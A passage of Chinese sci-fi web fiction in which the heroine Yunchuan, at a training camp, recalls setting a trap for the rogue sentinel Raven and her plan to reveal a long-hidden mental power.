“我觉得冰狼挺好的呀，不仅外形帅气，嚎叫声还很可爱。但如果真的不喜欢的话，下一次我给你换成雪怪吧。”即使是全息投影，小婉老师还是笑得花枝乱颤，“好不好呀？” 云川沉默了。 选择冰狼还是雪怪，是一个严肃的问题。 思考片刻后，她迅速改口。 “……不必了。我觉得狼很不错。” 不想在这上面继续纠缠，也为了避免给魔鬼婉老师提供更多折磨人的点子，云川果断转移话题 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深绿色的酒液如同魔鬼的血液，在刻意营造出昏暗氛围的光线下散发着如毒药般的幽光，同深色的玻璃酒杯混合过后，整体呈现出一种诡异阴森的灰绿色。 苦艾作为主要由植物精炼出的高度蒸馏酒，并不适合在当下这个充满热血和朝气的特训营中饮用。故而云川只是将其放在鼻尖轻嗅，在感受到一股独特的甘草香弥漫鼻腔后，才将它放回桌面。 杯中原本静置的酒液因这个动作泛起些微涟漪。 像是涌动的毒药，又像是一双灰绿色的眼睛，使云川的记忆再次回到十天前，她在艾伊尔创新研发中心被雷文吊挂在大楼外时的场景。 当时的黑曼巴哨兵还不知道，云川刻意伪装出的软弱，是一场专门为他设下的陷阱。 由于12320的告密，云川早就知道雷文会在那一天找上自己。 雷文的目的其实很简单，说来不过两件事： 第一，他想得到TTSD，用来增强自己的精神力； 第二，他想要陷害云川，用协同犯罪的罪名把她坑进监狱。 前者很好理解，作为对自己的向导伴侣痛下杀手的疯狂哨兵，追求极致的力量似乎无可厚非。 可后者就不得不令云川多想。 她进牢子对雷文有什么好处？ 她问过雷文这个问题。当时雷文的回答是，她不会在里面待多久的。 他怎么能这么笃定？就好像他有什么手段能再把她捞出来似的。 云川不愿意事情往这个方向发展，于是她主动选了一条路。 ——马上“觉醒”精神力。 她非常自信，也非常笃定。 毕竟，她的精神力，其实很早就觉醒了。 早到她从特蓝星的地底爬出，见到漫天异虫之前。 只是出于某种原因，她一直压抑着自己的力量。如果不是因为关于姐姐的调查陷入瓶颈，云川本打算一辈子都当个普通人。 可现在，已经到了不得不这么做的时刻。 云川明白，她必须利用这个千载难逢的机遇。 ——她需要刺激雷文，让他陷入彻底的疯狂。 只有这样，云川才能在铲除这个威胁的同时，顺理成章“觉醒”，进入对当下的她来说，最安全的圣所。